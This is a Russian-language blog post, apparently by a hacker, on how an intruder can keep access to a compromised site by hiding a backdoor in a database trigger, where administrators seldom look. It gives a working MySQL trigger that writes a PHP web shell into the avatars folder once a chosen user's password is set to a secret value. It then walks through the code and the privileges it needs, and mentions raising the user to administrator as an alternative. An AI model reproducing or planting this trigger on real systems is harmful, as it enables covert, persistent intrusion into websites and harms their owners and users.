Нередко случается, что все руткиты/бэкдоры/веб-шеллы, полученные взломщиком с большими усилиями, однажды обнаруживаются администратором сервера и безвозвратно удалются. Чтобы закрепиться в системе как можно дольше, используется множество способов, большинство из которых сводится к хранению бэкдора непосредственно в файловой системе. У меня возникла идея хранить “черный ход” в систему в триггерах базы данных.
Триггер – это особая хранимая процедура, которая выполняется при наступлении определенного события на уровне таблицы базы данных. Этими событиями обычно являются использование операторов INSERT, UPDATE, DELETE. Главная особенность триггера заключается в том, что хранимая процедура, которую по сути он представляет собой, вызывается не пользователем, а самой базой данных и только при определенном условии.
При восстановлении утраченного доступа в систему может быть использован заранее внедренный триггер, создающий небольшой веб-шелл или выявляющий пароль администратора, который выполняется при наступлении специального события, известного только взломщику. Выгода такого решения очевидна: если в файловой системе администраторы еще как-то пытаются отслеживать посторонние объекты, то в базе данных обычно этого не делают.
Преположим, что на сайте предусмотрена свободная регистрация пользователей. Для получения в любой момент альтернативного доступа в систему, взломщик создает учетную запись обычного пользователя, затем он разрабатывает триггер таким образом, чтобы при изменении пароля его аккаунта определенным значением триггер записывал в папку небольшой веб-шелл. Событиями для срабатывания триггера могут быть какими угодно: создание определенного поста на форуме, посещение сайта с заданным User-Agent’ом и т.д. Все зависит от характера и структуры таблиц, их предназначения, а также возможности повлиять на конкретную таблицу своими данными в рамках легитимного запроса с операторами INSERT, UPDATE.
Рассмотрим на примере MySQL триггер, записывающий веб-шелл после того, как пароль пользователя сайта становится равным определенному значению.
delimiter | CREATE TRIGGER backdoor AFTER UPDATE ON users FOR EACH ROW label:BEGIN IF (SELECT password FROM users WHERE id=123)='gimme_that_shell' THEN SELECT '<?=`$c`?>' INTO OUTFILE '/home/site/httpdocs/avators/smile.php'; ELSE LEAVE label; END IF; END; |
Сперва хочу отметить, что для создания триггера текущий пользователь MySQL должен иметь привилегию SUPER. Для срабатывания хватит прав непривилегированного пользователя, но исключительно для данного примера имеющего file_priv (для INTO OUTFILE). Итак, сначала задаем символ разделения отличный от “;” для того, чтобы использовать “;” внутри процедуры триггера. Далее создаем триггер с именем backdoor для таблицы users, срабатывающий после UPDATE; для каждой строки таблицы выполняем набор инструкций между BEGIN … END и при этом задаем label для последующего использования оператора LEAVE (аналог return). Затем следует основное условие: если пароль пользователя с идентификатором 123 равен значению “gimme_that_shell”, тогда выполняется INTO OUTFILE, записывающий небольшой шелл в директорию с аваторами, иначе выполнение процедуры прерывается. Вместо INTO OUTFILE могут быть использованы другие варианты, например повышение прав пользователя до администратора.
Leave a Reply